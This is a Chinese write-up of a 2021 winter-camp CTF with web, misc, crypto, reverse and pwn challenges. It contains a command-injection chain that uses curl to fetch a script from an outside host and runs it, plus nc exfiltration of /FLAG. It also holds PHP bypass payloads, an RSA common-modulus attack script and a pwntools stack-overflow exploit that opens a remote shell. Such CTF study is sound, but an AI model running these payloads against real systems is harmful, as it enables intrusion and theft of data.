穿山甲2021冬令营


web

  • 黑宝石
  • ping一下试试
  • 不可能的数字
  • 过五关
  • 快准狠

misc

  • LSB!LSB!
  • red_green
  • 伪加密

crypto

  • juSTFoRfun
  • 滴滴答答的凯撒
  • 你认识这个校徽吗
  • 5space-rosb

re

  • HelloAndroid

pwn

  • 最简单的栈溢出

黑宝石
题目就给了个描述
实训描述:从前没有网络的时候IE叫黑宝石。
感觉是个脑洞题,没有任何思路。加了个本地XFF。响应里要求黑宝石浏览器。就在UA里加了个Black gemstone就cat了flag
gemstone


ping一下试试

先fuzz。找到%0a没被过滤。然后就可以接下来的操作。自己试了下没弹回来,不晓得是什么原因。

1
2
3
4
5
6
python -m SimpleHTTPServer 8000
cat /FLAG | nc ip port
127.0.0.1%0acurl ip/1.sh > /tmp/1.sh
127.0.0.1%0achmod 777 /tmp/1.sh
127.0.0.1%0ash /tmp/1.sh
nc -lvvp port

ping一下试试.jpg


不可能的数字
截的wp里的图。简单的代码审计。php科学计数法绕过就可以了
?num=1e9
不可能的数字


过五关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
第一关查看源码,sha1数组类型比较绕过。
payload:name[]=1&password[]=1

第二关需要满足3个条件
1.name\*10=password
2.password小于4位且要大于999
3.name里需要包含admin且不为数字
payload:name=1000admin&password=1e4

第三关需要绕过file_get_contents函数和strcmp函数
php://input伪协议绕过file_get_contents,数组绕过strcmp
payload:name=php://input&password[]=1
payload:post传welcome to the SeBaFi


第四关cookie随机生成不可控。所以就把生成的和不输入即可绕过
payload:name=&password=
Cookie: PHPSESSID=

第五关是魔改的一题。但应该改坏了,username反正是没有找到
但是后面看源码是可以出来的。一种是直接传数组 password[]=1或者是 %00截断 password=1%00--

1-2
3
4
5


快准狠
一个网页内让你数有多少个A,然后提交。而且还要求时间。肯定需要脚本解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests as r
url="http://47.114.137.161:49164"
ansurl="http://47.114.137.161:49164/count.php"
resp=r.get(url)
cookie=resp.cookies["PHPSESSID"]
cookies={"PHPSESSID":cookie}
resp=r.get(url,cookies=cookies)
count=0
for i in (resp.text):
if i=="A":
count+=1
payload={'a_count_post':count-2}
rst=r.post(ansurl,data=payload,cookies=cookies)
print(rst.text)

快准狠


LSB!LSB!
zsteg -e导出 直接qr扫码就ok了
LSB!LSB!


red_green

1
2
3
4
5
6
一种方法是
zsteg --all
zsteg -e 通道 -> out.jpg

第二种直接用
stegsolve->extract preview->红色通道导出

red_green1

red_green2


伪加密
修改50 4b 01 02后第5位为偶数即可。保存打开即可

伪加密


juSTFoRfun
没有太多的信息,就给了一串U2Fsd开头的字符串和题目名。直接拿去des,aes解密,并没有解出来。观察题目名,只有大小写。尝试转成ab的形式,拿去解密培根密码。得到HI。拿去des解密解出一串。观察这一串,发现只有个下划线相关,可能是ascii位移。写个脚本操作一下。解到其他写不到文件的就不行了。然后拿到看起来比较像的一串拿去栅栏得到flag

1
2
3
4
5
6
7
8
encode="Mcj;CLnN_unJms?c<=ibYYlh[lAspc?a@slY_Hmw"
f=open('a.txt','w')
for i in range(1,120):
decode1=""
for x in encode:
char=ord(x)
decode1=decode1+chr(char+i)
f.write(decode1+"\n")

juSTFoRfun


滴滴答答的凯撒
得到一个文本,先把换行转成空格,再把16进制转成ascii码。在morse解密,在栅栏得到flag。主要是观察一下。一共就三种形式2e 2d 20

滴滴答答的凯撒


你认识这个校徽吗

题目给了word和一个txt。txt名为base64,内容解密后为Unit。word里图片最后有个图片。拖到010editor里看IEND尾后还有一串奇怪的字符。且word里内容涉及到凯撒密码和维吉尼亚密码。维吉尼亚解密即可获得flag
你认识这个校徽吗


5space-rosb

题目给了个py,py里有5个变量,n,e1,e2,c1,c2。直接上共模攻击的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from gmpy2 import *
import libnum

n = 0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4e72a63557
e1 = 0xf4c1158f
c1 = 0x2f6546062ff19fe6a3155d76ef90410a3cbc07fef5dff8d3d5964174dfcaf9daa003967a29c516657044e87c1cbbf2dba2e158452ca8b7adba5e635915d2925ac4f76312feb3b0c85c3b8722c0e4aedeaec2f2037cc5f676f99b7260c3f83ffbaba86cda0f6a9cd4c70b37296e8f36c3ceaae15b5bf0b290119592ff03427b80055f08c394e5aa6c45bd634c80c59a9f70a92dc70eebec15d4a5e256bf78775e0d3d14f3a0103d9ad8ea6257a0384091f14da59e52581ba2e8ad3adb9747435e9283e8064de21ac41ab2c7b161a3c072b7841d4a594a8b348a923d4cc39f02e05ce95a69c7500c29f6bb415c11e4e0cdb410d0ec2644d6243db38e893c8a3707
e2 = 0xf493f7d1
c2 = 0xd32dfad68d790022758d155f2d8bf46bb762ae5cc17281f2f3a8794575ec684819690b22106c1cdaea06abaf7d0dbf841ebd152be51528338d1da8a78f666e0da85367ee8c1e6addbf590fc15f1b2182972dcbe4bbe8ad359b7d15febd5597f5a87fa4c6c51ac4021af60aeb726a3dc7689daed70144db57d1913a4dc29a2b2ec34c99c507d0856d6bf5d5d01ee514d47c7477a7fb8a6747337e7caf2d6537183c20e14c7b79380d9f7bcd7cda9e3bfb00c2b57822663c9a5a24927bceec316c8ffc59ab3bfc19f364033da038a4fb3ecef3b4cb299f4b600f76b8a518b25b576f745412fe53d229e77e68380397eee6ffbc36f6cc734815cd4065dc73dcbcb

s = gcdext(e1, e2)
s1 = s[1]
s2 = -s[2]

c2 = invert(c2, n)
m = (pow(c1,s1,n) * pow(c2 , s2 , n)) % n
print(hex(m))
s=hex(m)[2:]
result=""
for i in range(len(s)//2):
result+=chr(int(s[2*i:2*i+2],16))
print(result[:-64])

5space-rosb


HelloAndroid

把apk文件拖到_onkey-decompile-apk.bat上,自动反编译。或者用jadx打开

HelloAndroid


最简单的栈溢出
计算buf到r的位置为8c,又知道bash的地址为0x0804854d,直接就可以写脚本get shell了

1
2
3
4
5
6
7
from pwn import *
p=remote("47.114.137.161",49160)
payload=0x8c*'a' + p32(0x0804854d)
p.recvuntil("please pwn me\n")
p.send(payload)
p.interactive()

最简单的栈溢出-1

最简单的栈溢出-2